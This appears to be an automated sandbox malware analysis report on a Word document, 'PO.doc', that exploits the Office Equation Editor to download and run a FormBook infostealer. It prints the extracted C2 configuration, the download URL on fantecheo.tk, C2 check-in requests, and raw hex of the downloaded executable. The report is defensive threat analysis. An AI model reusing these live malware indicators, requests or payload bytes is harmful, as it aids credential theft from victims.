Windows Analysis Report PO.doc

AV Detection:

Found malware configuration

Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp

Malware Configuration Extractor: FormBook {"C2 list": ["www.handelsbetriebposavec.com/if60/"], "decoy": ["babyjames.space", "dtjug.com", "bhagteri.com", "havplan.com", "gentlesuccess.net", "negativeminus.com", "utesm.com", "ngomen.online", "abohemianeducation.com", "hyper-quote.com", "poseidonflooring.com", "theshopdental.com", "consumelocaloficial.com", "tineue.com", "traerpolio.com", "somnambulantfarms.com", "sugarhillclassiccars.com", "brasseriedufayard.com", "replacerglass.net", "lazyguysmarketing.com", "audiofactaesthetic.com", "14551bercaw.com", "piaamsterdam.com", "coolkidssale.com", "advikaa.com", "suamui.net", "19820907.com", "ankibe.com", "barrelandlens.com", "personowner.guru", "gigexworld.com", "visionandcourage.com", "livelyselfcare.com", "hellohomeowner.com", "bestwazifaforloveback.com", "dyvikapeel.com", "ignitemyboiler.com", "photosbyamandajdaniels.com", "sofuery.com", "rawimage.net", "outtact.com", "tomura-dc.com", "tkachovagv.com", "theheavymental.com", "interfaceprosthetics.com", "publicpod.net", "investotbank.com", "fishguano.com", "livetvchannels.xyz", "trendinggk.com", "adlun.com", "studyhandbook.com", "cardinal.moe", "urbantennis.info", "jsbr.online", "simplyforus.com", "keyleadhealth.com", "aliltasteofnewyork.com", "usdigipro.com", "debbielin.com", "9921.xyz", "watdomenrendi05.com", "asustech.net", "rm-elektrotechnik.gmbh"]}

Multi AV Scanner detection for submitted file

Source: PO.doc	Virustotal: Detection: 43%			Perma Link
Source: PO.doc	ReversingLabs: Detection: 28%

Yara detected FormBook

Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY

Antivirus detection for URL or domain

Source: http://fantecheo.tk/ibefrankszx.exe

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: www.handelsbetriebposavec.com/if60/	Virustotal: Detection: 8%			Perma Link
Source: http://fantecheo.tk/ibefrankszx.exe	Virustotal: Detection: 16%			Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ibefrankszx[1].exe	ReversingLabs: Detection: 20%
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	ReversingLabs: Detection: 20%

Antivirus or Machine Learning detection for unpacked file

Source: 6.2.ibeframnk863.exe.400000.1.unpack

Avira: Label: TR/Crypt.ZPACK.Gen

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\ibeframnk863.exe			Jump to behavior

Office Equation Editor has been started

Source: unknown

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: wntdll.pdb source: ibeframnk863.exe, svchost.exe
Source:	Binary string: svchost.pdb source: ibeframnk863.exe, 00000006.00000002.505477626.00000000006A1000.00000004.00000020.sdmp

Software Vulnerabilities:

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: fantecheo.tk

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4x nop then pop ebx		6_2_00407B1A
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4x nop then pop edi		6_2_00417D85
Source: C:\Users\user\AppData\Roaming\ibeframnk863.exe	Code function: 4x nop then pop edi		6_2_00417DBA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop ebx		8_2_00087B1C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi		8_2_00097D85
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 4x nop then pop edi		8_2_00097DBA

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.239.243.112:80

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 185.239.243.112:80

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.22:49166 -> 99.83.154.118:80

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 63.250.43.8 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.personowner.guru
Source: C:\Windows\explorer.exe	Domain query: www.audiofactaesthetic.com
Source: C:\Windows\explorer.exe	Network Connect: 99.83.154.118 80			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: www.handelsbetriebposavec.com/if60/

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /if60/?xPDxn6=9rThgvBPeDs8DTH&9rK4ARq=HAVwTDf9hhdM5uVFiR32xlZPJI7px6PgcsWLOsR2qKnXYIicfNgC1ah67lW/5Lf7WlrZFg== HTTP/1.1Host: www.personowner.guruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /if60/?9rK4ARq=hKBoXJ/uTBXo6goup8EgTG8p/x7KMVUxfENEE605vE090EN0jXzIfy3RZCXjDv+XGbJHcA==&xPDxn6=9rThgvBPeDs8DTH HTTP/1.1Host: www.audiofactaesthetic.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Downloads executable code via HTTP

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Tue, 28 Sep 2021 18:42:28 GMTContent-Type: application/x-msdownloadContent-Length: 624640Last-Modified: Tue, 28 Sep 2021 03:45:00 GMTConnection: keep-aliveETag: "61528fbc-98800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f 85 52 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 7c 09 00 00 0a 00 00 00 00 00 00 86 97 09 00 00 20 00 00 00 a0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 09 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 97 09 00 4f 00 00 00 00 a0 09 00 4c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 94 7b 09 00 00 20 00 00 00 7c 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 4c 06 00 00 00 a0 09 00 00 08 00 00 00 7e 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 c0 09 00 00 02 00 00 00 86 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 97 09 00 00 00 00 00 48 00 00 00 02 00 05 00 70 f6 00 00 34 00 03 00 03 00 00 00 a3 01 00 06 a4 f6 03 00 90 a0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1e 02 7b 1d 00 00 0a 2a 3a 02 28 1e 00 00 0a 02 03 7d 1d 00 00 0a 2a 00 13 30 03 00 24 00 00 00 01 00 00 11 03 75 02 00 00 1b 0a 06 2c 18 28 1f 00 00 0a 02 7b 1d 00 00 0a 06 7b 1d 00 00 0a 6f 20 00 00 0a 2b 01 16 2a 76 20 69 1f 79 45 20 29 55 55 a5 5a 28 1f 00 00 0a 02 7b 1d 00 00 0a 6f 21 00 00 0a 58 2a 00 00 13 30 07 00 4d 00 00 00 02 00 00 11 14 72 01 00 00 70 17 8d 13 00 00 01 25 16 02 7b 1d 00 00 0a 0a 12 00 12 01 fe 15 04 00 00 1b 07 8c 04 00 00 1b 2d 14 71 04 00 00 1b 0b 12 01 07 8c 04 00 00 1b 2d 04 26 14 2b 0b fe 16 04 00 00 1b 6f 22 00 00 0a a2 28 23 00 00 0a 2a 00 00 00 13 30 03 00 19 00 00 00 03 00 00 11 00 7e 03 00 00 04 03 02 61 20 ff 00 00 00 5f 95 03 1e 64 61 0a 2b 00 06 2a 00 00 00 13 30 01 00 0c 00 00 00 03 00 00 11 00 02 7b 02 00 00 04 0a 2b 00 06 2a 26 00 02 03 7d 02 00 00 04 2a 00 00 13 30 02 00 0e 00 00 00 03 00 00 11 00 02 03 d1 28 0a 00 00 06 0a 2b 00 06 2a 00 00 13 30 03 00 3f 00 00 00 04 00 00 11 00 03 20 ff 00 00 00 5f d2 0a

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /ibefrankszx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fantecheo.tkConnection: Keep-Alive

Tries to download or post to a non-existing HTTP route (HTTP/1.1 404 Not Found / 503 Service Unavailable)

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Tue, 28 Sep 2021 18:44:30 GMTtransfer-encoding: chunkedconnection: closeData Raw: 33 31 45 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 69 73 20 62 65 69 6e 67 20 63 72 65 61 74 65 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4

Found strings which match to known social media urls

Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

URLs found in memory or binary data

Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp	String found in binary or memory: http://computername/printers/printername/.printer
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	String found in binary or memory: http://java.sun.com
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: explorer.exe, 00000007.00000000.463319655.0000000001BE0000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694748305.00000000031E0000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: explorer.exe, 00000007.00000000.465106140.0000000003E50000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: explorer.exe, 00000007.00000000.448770237.000000000838C000.00000004.00000001.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-eus/sc/2b/a5ea21.ico
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp, explorer.exe, 00000007.00000000.448770237.000000000838C000.00000004.00000001.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp	String found in binary or memory: http://treyresearch.net
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp	String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: explorer.exe, 00000007.00000000.463319655.0000000001BE0000.00000002.00020000.sdmp, svchost.exe, 00000008.00000002.694748305.00000000031E0000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp	String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: explorer.exe, 00000007.00000000.424933060.0000000002CC7000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: explorer.exe, 00000007.00000000.427099874.0000000004650000.00000002.00020000.sdmp	String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/?ocid=iehp
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/de-de/?ocid=iehp
Source: explorer.exe, 00000007.00000000.446344659.00000000044E7000.00000004.00000001.sdmp	String found in binary or memory: http://www.msn.com/de-de/?ocid=iehp4MP&
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: explorer.exe, 00000007.00000000.433579752.0000000002AE0000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.
Source: explorer.exe, 00000007.00000000.434757196.0000000003DF8000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBSKZM1Y&prvid=77%2
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1
Source: explorer.exe, 00000007.00000000.435525841.000000000449C000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=12
Source: explorer.exe, 00000007.00000000.467666466.00000000045CF000.00000004.00000001.sdmp	String found in binary or memory: https://contextual.media.net/medianet.php?cid=8CUT39MWR&crid=715624197&size=306x271&https=1LMEM
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	String found in binary or memory: https://support.mozilla.org
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	String found in binary or memory: https://www.mozilla.org
Source: explorer.exe, 00000007.00000000.421707245.0000000000255000.00000004.00000020.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/52.0.1/releasenotes

Downloads files

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F37BA74A-2884-4D29-90C1-0C63AEE1F3DB}.tmp

Jump to behavior

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: fantecheo.tk

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /ibefrankszx.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: fantecheo.tkConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /if60/?xPDxn6=9rThgvBPeDs8DTH&9rK4ARq=HAVwTDf9hhdM5uVFiR32xlZPJI7px6PgcsWLOsR2qKnXYIicfNgC1ah67lW/5Lf7WlrZFg== HTTP/1.1Host: www.personowner.guruConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /if60/?9rK4ARq=hKBoXJ/uTBXo6goup8EgTG8p/x7KMVUxfENEE605vE090EN0jXzIfy3RZCXjDv+XGbJHcA==&xPDxn6=9rThgvBPeDs8DTH HTTP/1.1Host: www.audiofactaesthetic.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.ibeframnk863.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 6.2.ibeframnk863.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 4.2.ibeframnk863.exe.354fd50.3.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 4.2.ibeframnk863.exe.34be4f0.4.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691810653.0000000000080000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.504459582.0000000000240000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.449384949.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.503955974.00000000000F0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000007.00000000.441720043.0000000009657000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.692258695.0000000000310000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000008.00000002.691878203.00000000000B0000.00000040.00020000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000006.00000002.504577711.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.421259188.0000000003499000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

